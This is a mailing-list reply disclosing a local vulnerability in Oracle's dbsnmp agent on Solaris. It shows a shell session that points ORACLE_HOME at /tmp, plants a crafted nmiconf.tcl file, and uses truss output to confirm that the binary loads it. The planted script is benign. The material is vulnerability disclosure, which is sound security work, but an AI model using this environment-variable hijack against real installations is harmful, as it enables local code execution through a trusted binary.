Re: Oracle 8.1.5 dbsnmp vulnerability

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> Ismael Briones wrote:
> Oracle-8.1.6 is not vulnerable

This was an issue that existed with 8.0.5 and maybe even
before that.  I had drafted a report on this on 6/22/2000
for in house reference.  I have found that the following:

	TESTED ON SPARC/solaris 2.7
	===========================
	> oracle-8.1.6 -> affected
	> oracle-8.1.7 -> affected

are also susceptible to false $ORACLE_HOME values.

<-------------------------- snip -------------------------->
schoe@host $ echo $ORACLE_HOME
/usr/app/oracle/product/8.1.6

schoe@host $ unsetenv $ORACLE_HOME; /usr/oracle/product/8.1.6/bin/dbsnmp
couldn't read file "/config/nmiconf.tcl": no such file or directory
Failed to initialize nl component,error=462
Failed to initialize nl component,error=462

schoe@host $ unsetenv ORACLE_HOME
schoe@host $ mkdir -p /tmp/network/agent/config
schoe@host $ setenv ORACLE_HOME "/tmp"
schoe@host $ echo "return \$ORACLE_HOME" > /tmp/network/agent/config/nmiconf.tcl
schoe@host $ chmod +x /tmp/network/agent/config/nmiconf.tcl
schoe@host $ truss -fae /usr/oracle/product/8.1.6/bin/dbsnmp
...
3773:   lstat64("/home", 0xFFBEE0F0)                    = 0
3773:   lstat64("/home/..", 0xFFBEE0F0)                 = 0
3773:   llseek(8, 0xFFFFFFFFFFFFFCFF, SEEK_CUR)         = 276
3773:   close(8)                                        = 0
3773:   close(7)                                        = 0
3773:   chdir("/tmp/network/agent/config")              = 0
...
4509:   close(7)                                        = 0
4509:   stat("/tmp/network/agent/config/nmiconf.tcl", 0xFFBEE93C) = 0
4509:   open("/tmp/network/agent/config/nmiconf.tcl", O_RDONLY) = 7
4509:   read(7, " r e t u r n   $ O R A C".., 4096)     = 20
4509:   close(7)                                        = 0
...
<-------------------------- snap -------------------------->

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